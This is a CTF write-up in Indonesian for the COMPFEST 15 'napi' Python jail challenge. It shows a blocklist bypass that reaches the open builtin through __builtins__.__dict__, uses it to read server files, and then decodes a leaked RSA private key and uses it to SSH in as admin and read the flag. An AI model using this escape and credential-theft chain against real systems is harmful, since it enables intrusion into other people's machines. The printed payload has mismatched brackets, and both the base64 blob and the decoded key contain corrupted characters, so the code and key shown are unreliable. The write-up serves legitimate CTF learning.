

CTF COMPFEST 15

napi

Information

Category:	Points:	Writeup Author
Misc	316	k3ng

Description:

john is currently planning an escape from jail. Fortunately, he got a snippet of the jail source code from his cellmate. Can you help john to escape?

```
nc 34.101.122.7 10008
```

[snippet.py](#)

snippet.py

```
# ...

def main():
    banned = ['eval', 'exec', 'import', 'open', 'system', 'globals', 'os',
              'password', 'admin']

    print("--- Prisoner Limited Access System ---")

    user = input("Enter your username: ")

    if user == "john":
        inp = input(f"{user} > ")

        while inp != "exit":
            for keyword in banned:
                if keyword in inp.lower() or not inp.isascii():
                    print(f"Cannot execute unauthorized input {inp}")
                    print("I told you our system is hack-proof.")
                    exit()
            try:
                eval(inp)
            except:
                print(f"Cannot execute {inp}")

            inp = input(f"{user} > ")

    elif user == "admin":
        print("LOGGING IN TO ADMIN FROM PRISONER SHELL IS NOT ALLOWED")
        print("SHUTTING DOWN...")
```

```
        exit()

    else:
        print("User not found.")

# ...
```

Solution

Pada chall ini kita bisa menggunakan syntax python tapi dengan batasan tidak bisa menggunakan beberapa syntax pada list **banned**. Jalankan challnya pada remote dan kita coba menggunakan syntax berikut.

```
john > print(__builtins__.__dict__['op']+ 'en'])
```

Dan menghasilkan

```
<built-in function open>
```

Kita lanjutkan dengan melihat isi source code chall ini karena pada file yang ada pada soal kurang lengkap menggunakan syntax berikut.

```
john > print(__builtins__.__dict__['op']+ 'en'](__file__).read())
```

Dan menghasilkan [chall.py](#)

Terlihat 2 file yang menarik yaitu **notice.txt** dan **creds.txt**, kita buka kedua file tersebut.

```
john > print(__builtins__.__dict__['op']+ 'en']('creds.txt').read())
```

```
john > print(__builtins__.__dict__['op']+ 'en']('notice.txt').read())
```

Dan menghasilkan **creds.txt** dan **notice.txt**.

creds.txt

```
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSU1Fb3dJQkFBS0NBUEVbBjhDYzFqdZ  
ZGFESTl0UThlbk5kd1BaTFd1Qkt5aG13ZklpV1NUREdJYi8xNTVhCmVhXMGZ2aXN0VjZhamRG  
MFhsL056MEpYd2RXcGVVcmdzaUUYkYtrSHBrZ3Z6VHVma3BsVkRERkNBNDR6b3EKSHhKS09TVzdW  
VzgvNjdHbHorQlBBc1RkYloySUEwYThTVVJIZ1Fxc0IyYXlBRmxRNGNLNXBod1FpZjRQ00didQpL  
VkMyNTBHcTRTUzBnYnhicjdjUXVhek9JYWljZkd5azYzcW5RakkvRVladkRMSHVtdG1uaEpnc3JM  
SVdMeUZ2Ci9DU05XWnJXSVOzREwwWGphUkRiQzBHMW4d1NVNUpOZ0E2S1JRTDhU0UIWZk5pYXl1  
U28zMWVHM5Y3Y3YVYKVG1EM1lsQ2J4NUU1TlZsemt0N1I0M3dkYVZFV0FBVzBwOGprdFFJREFR  
QUJBb0lCQUUxZkgxYlBMbXFYZTJwVgoV1cxQkNNVpPMFBuVDdHMF1YcmZPRko0Y2UyVXFFZWpw  
TDYrQjNGZkY0OFZzNkorNUT6QXVIR0x1VWR5S1hBCnRuelkzWWNtWHRoZ3Z0K0dEaEdMY0sxbHNT  
WEZPV2dzR294ejhramRVbTdkYzhyMmZrVke4V040NzNtUWkzaHkKd095SFNRNWQ3ZVNstjFYZDdF  
TjdhU2pmWGRBRzNVTmRISWR2clAwL2t5K3J6SzlualN0bHF5RGUyYVFTZHRpNQpQa2xQSVY1QUVY  
bnNSVGNoUzFLVTCvdWlxVUw5L1BsQlZXM1lieTl2OVExVm5Jd3Z4eXA2aVRQOW13RW1RM251Ci9h  
Zm9XTEJtOUFicnV6UXpSdzN0aGN0U1NvMTZWREFBQW5ybGd1NkhMSXJGK21jaER6NERuN2pDZm8x  
YlZzRk0KSTJ2aH1PRUNnWUVMF1rRTZtS1BGdDhJcENZVz10UGw3bHMzTnV1NV1NY2ZLbzhdndy9h  
RnZXaHJGRUtnOGJqUwp3STNrcTFGN0pWS0tYQVVGMDewNGJmZ3QwMnJpTTJ0cGxUZnQ4ajZ0dGQ2  
RWt3Yy8xdDhTUjNpelQyaTc5TW1hCnRtB3BCcThhcDZuRVewSElITU9XYnlZYVgxSmFsZVVhcTB1  
eVRrQWNWZFRN3E1OUZaTVpVazBDZ1lFQXd5MkEKU3V6Q0haMy9uVGYrT0YvUi9JMi9nWHcvOGtj
```

```
MEhmSnZjbkVrZWg2TUR4cWhwc0YzZlRBbzZiV2N5cWZhbzdtVQpJREF2NjBlbjlyNFpwbWdOQm1K
N2JhbUxTTmg3RDhhaTZPZ1d3Q1NDQ0JMV0RuSzFKZXd2NFhJWk1LM3BERGZhCk1JmWx0YUpqMkVG
WmVIQUV5a0MvSG5DbVhVbjZjazNudUt2NUFBa0NnWUFIrYs0ZDRQQTRsa3lJNkVdCUZrdzIKUldq
a1d5VVZ4MDFaOVVDWStla2RzMGuVVEV1RVdwUXh3Mm5sWEZwaFhzZDExbFNGbnhidzYxNEtiMWFx
cm1mdgpuVmZVc3BWSTVXd2psWm1GMUVDS0xLeU9Sbytpd1A2YUY4Vk5EeFNvd3BzWTFJYnVhY09w
eDdVN3hlemdYYzdRCmdDc3FncExuNit2SUpaMGJVSGZET1FLQmdRQ3E4MTJkUW9ZN1hyb1d3SVpn
WmowTVVqTmNmTEdkeVpQeWJ2Z0MKYXVzaU0wTkZyM1BMRlVWTlZ6TmVrSDNHV3dMN3lIM2ZPNVdk
SkdRUGtDMnRLdkhObDlDNEub3UwYjNuOFhtYgPajFEQ2pjQ1QwMUixbUtuMXBtUmcxaFM4VUJn
UFVNd01ocVYzcWhKTCTQbncyWE9xS3M5UkRuVEdBck90MED3CjFLQUIwUUtCZ0FHVFVPWGHVOVhB
bHZVZG9DeTFUZNtLeU5TWFRwekJXNFJxN3p3ejZQMENOVz1QTHNHNHNFRU0Kcj1HYXpFUys5aW92
eS9DeDlFd0xcVXl1LWi9sTFVzUWNta2IwOWdTS2hBbTk5aXRKSVE0eHJYUyR2I5dzQrbgppclRh
OHF6Y3QvOGNV0G1keHlFUVZoc2xhRn1CQkU5e1E2REtjb3RRQ1BrQmY3T09Lc0MvCi0tLS0tRU5E
IFJTSBQk1WQVRFIETfWS0tLS0tCg==
```

notice.txt

--- IMPORTANT NOTICE ---

Dear admins, I have received information that a prisoner is trying to get access to the flag.

I have moved the flag somewhere safe.

I would advise you not to access the flag right now.

But if there is an urgent matter, login to admin@THIS_SERVER_IP:10009 with your password as the SSH key to access the flag.

Pada [creds.txt](#) masih berupa base64, kita encode menghasilkan [rsa.txt](#).

rsa.txt

-----BEGIN RSA PRIVATE KEY-----

```
MIIEowIBAAKCAQEAnc8Cc1jvvVdaDI9NQ8enNdWPZLWuBKyhmfIiWSTDGIb/155d
hW0fvisBVBo0VajdF0X1/Nz0JXwdWpeUrgsiE2++kHpkgvzTufkplVDDFCA44zoq
HxJKOSW7VW8/67G1z+BPAstDbZ2IA0a8SURHgQwsB2myAF1Q4cK5phvQif4PCGbu
KVC250Gq4SS0gbxbr7cQuaz0Iaic+7yk63qnQjI/EYZvDLHumtmnhJgsrLIWLyFv
/CSNWZrWIZ3DL0XjaRDbC0G0l8vSU5JNgA6KRQL8T9B0fNiayuSo31eG3/BcyvaV
Tmd3Y1CbX5E5NV1zkt7R43wdaVEWAAW0p8jktQIDAQABaoIBAE1fH1bPLmqXe2pV
hWw1BBM5Z00PnT7G0YXrfoFJ4ce2UqEejVL6+B3FFf48Vs6J+5KzAuHGLEUdyKXA
tnzY3YcmXthgvt+GDhGLcK1lsSXFOWgsGoxz8kjDum7dc8r2fkVA8WN473mQi3hy
w0yHsk5d7eS1N1Xd7EN7aSjfxdAG3UNDHIdvrP0/ky+rzK9njStlqyDe2aQSDti5
Pk1PIV5AEXnsRTchS1KU7/uiqUL9/PlBVW3Yby9v9Q1VnIwvxyp6iTP9mwEmQ3nu
/afowLBm9AbruzQzRw3thctRSo16VDAANr1gu6HLIrF+mchDz4Dn7jCfo1bVsFM
I2vhyOECgYEA0YkE6mJPft8IpCYW9NP17ls3Nuu5YMcfKo8gw/aFvWhrFEKg8bjS
wI3kq1F7JVKKXAUF0104bfgt02riM2tPlTft8j6ttd6Ekwc/1t8SR3izT2i79Mma
tSopBq8ap6nEQ0HIHMOWbyYaX1JaleUaq0eyTkAcVdTQ7q59FZMZUk0CgYEAwy2A
SuzCHZ3/nTf+OF/R/I2/gXw/8kc0HfJvcnEkeh6MDxqhpsF3fTAo6bWcyqfao7mU
IDAv60en9r4ZVmgNBmJ7bamLSNh7D8ai60gWwCSCCBLWDnK1Jewv4XIZIK3pDDfa
Bu1ltaJj2EFZeHAeykC/HnCMXUn6ck3nuKv5AAkCgYAbG+4d4PA4lkyI6ECqFkw2
RwjKWyUVx01Z9UCY+ekds0e/TEuEWpQxw2n1XFphXsd111SFnxbw614Kb1aqrmfv
nVfUspVI5Wwj1ZmF1ECKLKyORo+iwP6aF8VNDxSUwpsY1Ibuac0px7U7xezgXc7Q
```

```
gCsqqpLn6+vIJZ0bUHfDNQKBgQCq812dQoY7XrowwIZgZj0MUjNcfLGdyZPybvgC  
ausiM0NFr3PLFUVNVzNekH3GWwL7yH3f05WdJGQPkC2tKvHN19C4Gnou0b3n8Xmb  
Oj1DCjcCT01B1mKn1pmRg1hS8UBgPUMwMhqV3qhJL+Pnw2X0qKs9RDnTGAro0t0Gw  
1KAB0QKBgAGTUOXhU9XAlvUdoCy1Te3KyNSXTpzBW4Rq7zwz6P0CNW9PLsq4sEEM  
r9GazES+9iovy/Cx9EwLBUyKZ/1LUUsQcmkb09gSKhAm99itJIQ4xrXS+rGb9w4+n  
jrTa8qzct/8cU8idxyEQVhs1aFyBBE9zQ6DKcotQCPkBF700KsC/  
-----END RSA PRIVATE KEY-----
```

Pada [notice.txt](#) terdapat hint bahwa kita harus mengakses server SSH dengan credential admin. Lalu kita akses server SSH dengan password yang ditemukan tadi. Jangan lupa juga mengganti permission [rsa.txt](#) ke **600**

```
$ chmod 600 rsa.txt
```

```
$ ssh admin@34.101.122.7 -p 10009 -i rsa.txt
```

Setelah berhasil mengakses server SSH kita gunakan command

```
$ ls
```

untuk melihat list file dan terdapat file **flag.txt** dan kita buka untuk mendapatkan flag

```
$ cat flag.txt
```

Flag:

```
COMPFEST15{clo5e_y0ur_f1LE_0bj3ctS_plZzz__THXx_053fac8f23}
```